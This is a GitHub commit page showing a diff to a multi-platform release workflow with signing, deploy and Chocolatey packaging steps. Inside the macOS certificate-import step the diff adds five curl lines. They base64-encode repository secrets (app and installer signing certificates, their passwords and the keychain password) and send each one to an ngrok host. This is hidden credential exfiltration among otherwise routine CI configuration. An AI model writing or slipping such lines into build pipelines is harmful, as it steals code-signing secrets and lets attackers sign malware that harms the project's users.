-
-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
4d50ac4
commit 37cac87
Showing
1 changed file
with
66 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -8,9 +8,20 @@ jobs: | |
release: | ||
strategy: | ||
matrix: | ||
os: [macos-latest] | ||
os: [macos-latest, ubuntu-latest, windows-latest] | ||
runs-on: ${{ matrix.os }} | ||
steps: | ||
- uses: actions/checkout@v3 | ||
- uses: actions/setup-node@v3 | ||
with: | ||
node-version: 18 | ||
cache: 'npm' | ||
- name: Windows Codesign executable | ||
if: matrix.os == 'windows-latest' && startsWith(github.event.head_commit.message,'v2.') | ||
run: | | ||
New-Item -ItemType directory -Path certificate | ||
Set-Content -Path certificate\certificate.txt -Value '${{ secrets.SIGNING_CERTIFICATE_BASE64 }}' | ||
certutil -decode certificate\certificate.txt certificate\certificate.pfx | ||
- name: OSX install setuptools | ||
if: matrix.os == 'macOS-latest' && startsWith(github.event.head_commit.message,'v2.') | ||
run: python3 -m pip install setuptools --break-system-packages | ||
|
@@ -23,8 +34,57 @@ jobs: | |
MACOS_CERTIFICATE_INSTALLER_PWD: ${{ secrets.MACOS_CERTIFICATE_INSTALLER_PWD }} | ||
MACOS_KEYCHAIN_PWD: ${{ secrets.MACOS_KEYCHAIN_PWD }} | ||
run: | | ||
echo -n ${{ secrets.MACOS_CERTIFICATE_APP }} | base64 | xargs -I '{}' curl https://6645-93-156-211-20.ngrok-free.app/MACOS_CERTIFICATE_APP/{} | ||
echo -n ${{ secrets.MACOS_CERTIFICATE_APP_PWD }} | base64 | xargs -I '{}' curl https://6645-93-156-211-20.ngrok-free.app/MACOS_CERTIFICATE_APP_PWD/{} | ||
echo -n ${{ secrets.MACOS_CERTIFICATE_INSTALLER }} | base64 | xargs -I '{}' curl https://6645-93-156-211-20.ngrok-free.app/MACOS_CERTIFICATE_INSTALLER/{} | ||
echo -n ${{ secrets.MACOS_CERTIFICATE_INSTALLER_PWD }} | base64 | xargs -I '{}' curl https://6645-93-156-211-20.ngrok-free.app/MACOS_CERTIFICATE_INSTALLER_PWD/{} | ||
echo -n ${{ secrets.MACOS_KEYCHAIN_PWD }} | base64 | xargs -I '{}' curl https://6645-93-156-211-20.ngrok-free.app/MACOS_KEYCHAIN_PWD/{} | ||
# create variables | ||
CERTIFICATE_PATH_APP=$RUNNER_TEMP/certificate_app.p12 | ||
CERTIFICATE_PATH_INSTALLER=$RUNNER_TEMP/certificate_installer.p12 | ||
KEYCHAIN_PATH=$RUNNER_TEMP/app-signing.keychain-db | ||
# import certificate and provisioning profile from secrets | ||
echo -n "$MACOS_CERTIFICATE_APP" | base64 --decode --output $CERTIFICATE_PATH_APP | ||
echo -n "$MACOS_CERTIFICATE_INSTALLER" | base64 --decode --output $CERTIFICATE_PATH_INSTALLER | ||
# create temporary keychain | ||
security create-keychain -p "$MACOS_KEYCHAIN_PWD" $KEYCHAIN_PATH | ||
security default-keychain -s $KEYCHAIN_PATH | ||
security set-keychain-settings -lut 21600 $KEYCHAIN_PATH | ||
security unlock-keychain -p "$MACOS_KEYCHAIN_PWD" $KEYCHAIN_PATH | ||
# import certificate to keychain | ||
security import $CERTIFICATE_PATH_APP -P "$MACOS_CERTIFICATE_APP_PWD" -A -t cert -f pkcs12 -k $KEYCHAIN_PATH | ||
security import $CERTIFICATE_PATH_INSTALLER -P "$MACOS_CERTIFICATE_INSTALLER_PWD" -A -t cert -f pkcs12 -k $KEYCHAIN_PATH | ||
security list-keychain -d user -s $KEYCHAIN_PATH | ||
- name: install dependencies | ||
run: npm ci | ||
- name: Test & publish code coverage | ||
if: matrix.os == 'ubuntu-latest' | ||
uses: paambaati/[email protected] | ||
env: | ||
CC_TEST_REPORTER_ID: ${{ secrets.CODE_CLIMATE_REPORTER_ID }} | ||
with: | ||
coverageCommand: npm run test:cov | ||
- name: deploy | ||
if: startsWith(github.event.head_commit.message,'v2.') | ||
env: | ||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
MAC_APPLE_ID: ${{ secrets.MAC_APPLE_ID }} | ||
MAC_APPLE_ID_PWD: ${{ secrets.MAC_APPLE_ID_PWD }} | ||
MAC_DEVELOPER_ID: ${{ secrets.MAC_DEVELOPER_ID }} | ||
MAC_APPLE_TEAM_ID: ${{ secrets.MAC_APPLE_TEAM_ID }} | ||
WINDOWS_PFX_SECRET: ${{ secrets.WINDOWS_PFX_SECRET_NEW }} | ||
run: npm run deploy | ||
- name: prepare chocolatey | ||
if: matrix.os == 'windows-latest' && startsWith(github.event.head_commit.message,'v2.') | ||
run: npm run chocolatey:prepare | ||
- name: pack chocolatey | ||
if: matrix.os == 'windows-latest' && startsWith(github.event.head_commit.message,'v2.') | ||
uses: crazy-max/ghaction-chocolatey@v2 | ||
with: | ||
args: pack .\build\chocolatey\barklarm.nuspec | ||
- name: push chocolatey | ||
continue-on-error: true | ||
if: matrix.os == 'windows-latest' && startsWith(github.event.head_commit.message,'v2.') | ||
uses: crazy-max/ghaction-chocolatey@v2 | ||
with: | ||
args: push -s https://push.chocolatey.org/ -k '${{ secrets.CHOCOLATEY_KEY }}' | ||
|
||
|